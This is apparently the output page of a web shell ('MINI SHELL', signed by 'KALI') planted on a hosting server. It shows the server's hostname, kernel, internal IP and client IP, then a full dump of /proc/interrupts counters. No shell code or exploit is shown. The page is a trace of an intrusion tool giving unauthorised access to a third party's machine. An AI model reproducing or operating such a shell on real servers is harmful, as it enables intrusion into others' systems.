~ K A L I ~
UNAME : Linux web63.extendcp.co.uk 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64SERVER IP : 10.0.187.63 -________-
CLIENT IP : 216.73.216.210 MINI SHELL D ZAB '
Current File : //proc/interrupts |
CPU0 CPU1 CPU2 CPU3 CPU4 CPU5 CPU6 CPU7 CPU8 CPU9 CPU10 CPU11 CPU12 CPU13 CPU14 CPU15 CPU16 CPU17 CPU18 CPU19 CPU20 CPU21 CPU22 CPU23 CPU24 CPU25 CPU26 CPU27 CPU28 CPU29 CPU30 CPU31 CPU32 CPU33 CPU34 CPU35 CPU36 CPU37 CPU38 CPU39
0: 91 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-IO-APIC 2-edge timer
3: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1092 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-IO-APIC 3-edge ttyS1
8: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-IO-APIC 8-edge rtc0
9: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-IO-APIC 9-fasteoi acpi
10: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 234100035 0 0 0 0 0 IR-IO-APIC 10-edge ipmi_si
18: 0 0 0 0 0 0 0 0 0 0 10411 0 29984 0 2984 0 0 0 0 0 0 0 121 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-IO-APIC 18-fasteoi ehci_hcd:usb1, ehci_hcd:usb2
25: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 16384-edge PCIe PME, aerdrv
26: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 32768-edge PCIe PME, aerdrv
27: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 49152-edge PCIe PME, aerdrv
28: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 51200-edge PCIe PME, aerdrv
29: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 53248-edge PCIe PME, aerdrv
30: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 458752-edge PCIe PME
31: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 473088-edge PCIe PME, aerdrv
35: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 67125248-edge PCIe PME, aerdrv
36: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 67158016-edge PCIe PME, aerdrv
39: 245 0 11332 0 21714 0 3114 0 1688 0 25198 0 20719 0 8984 0 1917 0 14589 0 699 0 21570 0 29935 0 1712 0 2651 0 29154 0 23353 0 4701 0 496 0 18357 0 IR-PCI-MSI 1572864-edge megasas0-msix0
40: 0 405671 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572865-edge megasas0-msix1
41: 0 0 0 381186 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572866-edge megasas0-msix2
42: 0 0 0 0 0 388493 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572867-edge megasas0-msix3
43: 0 0 0 0 0 0 0 380058 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572868-edge megasas0-msix4
44: 0 0 0 0 0 0 0 0 0 359576 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572869-edge megasas0-msix5
45: 0 0 0 0 0 0 0 0 0 0 0 341270 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572870-edge megasas0-msix6
46: 0 0 0 0 0 0 0 0 0 0 0 0 0 331318 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572871-edge megasas0-msix7
47: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 316589 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572872-edge megasas0-msix8
48: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 312414 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572873-edge megasas0-msix9
49: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 301898 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572874-edge megasas0-msix10
50: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 285168 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572875-edge megasas0-msix11
51: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 280074 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572876-edge megasas0-msix12
52: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 296091 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572877-edge megasas0-msix13
53: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 288852 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572878-edge megasas0-msix14
54: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 296135 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572879-edge megasas0-msix15
55: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 290688 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572880-edge megasas0-msix16
56: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 285729 0 0 0 0 0 0 IR-PCI-MSI 1572881-edge megasas0-msix17
57: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 271377 0 0 0 0 IR-PCI-MSI 1572882-edge megasas0-msix18
58: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 268352 0 0 IR-PCI-MSI 1572883-edge megasas0-msix19
59: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 273686 IR-PCI-MSI 1572884-edge megasas0-msix20
60: 304682 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572885-edge megasas0-msix21
61: 0 0 280649 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572886-edge megasas0-msix22
62: 0 0 0 0 259111 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572887-edge megasas0-msix23
63: 0 0 0 0 0 0 268407 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572888-edge megasas0-msix24
64: 0 0 0 0 0 0 0 0 343259 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572889-edge megasas0-msix25
65: 0 0 0 0 0 0 0 0 0 0 312152 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572890-edge megasas0-msix26
66: 0 0 0 0 0 0 0 0 0 0 0 0 246317 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572891-edge megasas0-msix27
67: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 405259 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572892-edge megasas0-msix28
68: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 380681 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572893-edge megasas0-msix29
69: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 371166 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572894-edge megasas0-msix30
70: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 278971 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572895-edge megasas0-msix31
71: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 232138 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572896-edge megasas0-msix32
72: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 DMAR-MSI 0-edge dmar0
73: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 DMAR-MSI 1-edge dmar1
74: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 167565 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572897-edge megasas0-msix33
75: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 244732 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572898-edge megasas0-msix34
76: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 311461 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572899-edge megasas0-msix35
77: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 264604 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1572900-edge megasas0-msix36
78: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 209550 0 0 0 0 0 0 0 IR-PCI-MSI 1572901-edge megasas0-msix37
79: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 305188 0 0 0 0 0 IR-PCI-MSI 1572902-edge megasas0-msix38
80: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 349945 0 0 0 IR-PCI-MSI 1572903-edge megasas0-msix39
81: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 256785 0 IR-PCI-MSI 1572904-edge megasas0-msix40
82: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 286720-edge ahci[0000:00:11.4]
84: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 512000-edge ahci[0000:00:1f.2]
87: 0 0 0 0 0 0 0 0 2025281840 0 0 0 0 0 0 0 3943962088 0 484 0 806 0 0 0 173 0 713 0 679224045 0 0 0 0 0 0 0 677 0 2999121900 0 IR-PCI-MSI 524288-edge eth0-tx-0
88: 0 0 0 0 92519 0 6970603 0 25486 0 0 0 404293 0 722 0 144185 0 163513 0 266477030 0 0 0 67552 0 188751127 0 0 0 0 0 107876 0 0 0 0 0 415349 0 IR-PCI-MSI 524289-edge eth0-rx-1
89: 0 0 11826482 0 5738615 0 6367599 0 108262333 0 5202288 0 38519606 0 1192173 0 1158770 0 12869125 0 2474672 0 3174569 0 16155376 0 2597385 0 144133210 0 8167844 0 24631194 0 457438 0 6709784 0 10954124 0 IR-PCI-MSI 524290-edge eth0-rx-2
90: 9652 0 3660973 0 9500128 0 189545019 0 4347323 0 2707812 0 8169496 0 800150 0 739723 0 6663829 0 0 0 2207361 0 7250983 0 2064618 0 11136314 0 10698326 0 11287597 0 54914 0 167506214 0 7665037 0 IR-PCI-MSI 524291-edge eth0-rx-3
91: 76 0 0 0 853266867 0 9697 0 1498367423 0 0 0 0 0 0 0 159858 0 16645971 0 0 0 0 0 427 0 2137487080 0 1481674432 0 0 0 0 0 1155214190 0 0 0 12364003 0 IR-PCI-MSI 524292-edge eth0-rx-4
92: 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 526336-edge eth1-tx-0
93: 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 526337-edge eth1-rx-1
94: 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 526338-edge eth1-rx-2
95: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 526339-edge eth1-rx-3
96: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 526340-edge eth1-rx-4
97: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1048576-edge eth2-tx-0
98: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1048577-edge eth2-rx-1
99: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1048578-edge eth2-rx-2
100: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1048579-edge eth2-rx-3
101: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1048580-edge eth2-rx-4
102: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1050624-edge eth3-tx-0
103: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 IR-PCI-MSI 1050625-edge eth3-rx-1
104: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 IR-PCI-MSI 1050626-edge eth3-rx-2
105: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 IR-PCI-MSI 1050627-edge eth3-rx-3
106: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 IR-PCI-MSI 1050628-edge eth3-rx-4
NMI: 21169 19602 17331 14538 16857 11140 15925 9839 19814 9481 16723 9490 16037 9325 17746 9065 22871 8767 16909 8456 15180 7077 15175 7509 13314 7537 16934 7268 18035 7080 15739 6976 15242 7031 18700 7018 16911 7003 18230 7084 Non-maskable interrupts
LOC: 1028582194 685992399 643775897 464967264 584723722 401313840 613381541 386599503 659394179 385742604 617480757 380112129 581107538 367853136 642191883 354098371 653460326 342481972 642386188 331370550 724954712 292209156 560634402 301584840 535430320 298129877 630289698 290828110 633077871 286485756 578678178 284524110 551098236 284356587 567557265 282675589 667398869 282241122 602483225 284727096 Local timer interrupts
SPU: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Spurious interrupts
PMI: 21169 19602 17331 14538 16857 11140 15925 9839 19814 9481 16723 9490 16037 9325 17746 9065 22871 8767 16909 8456 15180 7077 15175 7509 13314 7537 16934 7268 18035 7080 15739 6976 15242 7031 18700 7018 16911 7003 18230 7084 Performance monitoring interrupts
IWI: 0 1 0 0 0 0 0 1 2 0 0 0 0 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 3 0 0 0 IRQ work interrupts
RTR: 31 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 APIC ICR read retries
RES: 852326 511847 1682809 487370 2005484 424615 1507267 348984 1360981 289695 1256654 260142 1132500 226477 1238228 209363 3115344 194575 1117197 182025 927727 207932 810370 176856 500523 166356 996532 160356 1103103 155627 538433 148808 491084 144636 3816526 137931 888957 134103 439520 131304 Rescheduling interrupts
CAL: 128356921 25078129 37529728 14012094 27072044 10623208 29883219 9855383 36036393 9521924 22753273 9106540 22852496 9028518 31556397 8652749 43372255 8186822 24190877 8035578 27623938 7914594 22235920 7548587 20483764 7671288 27466714 7184945 30754860 7320834 22332434 7045344 21880997 7032587 33071709 7105115 34230457 7033014 43576480 6913134 Function call interrupts
TLB: 66713 61410 54540 66087 49955 50917 61786 44709 70964 56729 53580 47738 51139 40302 57355 41105 64454 39090 54530 38766 59275 32677 51832 37032 49148 37955 53301 33664 65263 35979 56016 35885 49310 35420 39715 36495 71984 35685 54165 33673 TLB shootdowns
TRM: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Thermal event interrupts
THR: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Threshold APIC interrupts
DFR: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Deferred Error APIC interrupts
MCE: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Machine check exceptions
MCP: 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 5360 Machine check polls
HYP: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Hypervisor callback interrupts
HRE: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Hyper-V reenlightenment interrupts
HVS: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Hyper-V stimer0 interrupts
ERR: 0
MIS: 0
PIN: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Posted-interrupt notification event
NPI: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Nested posted-interrupt event
PIW: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 Posted-interrupt wakeup event
Coded by KALI :v Greetz to DR HARD ../ kali.zbi@hotmail.com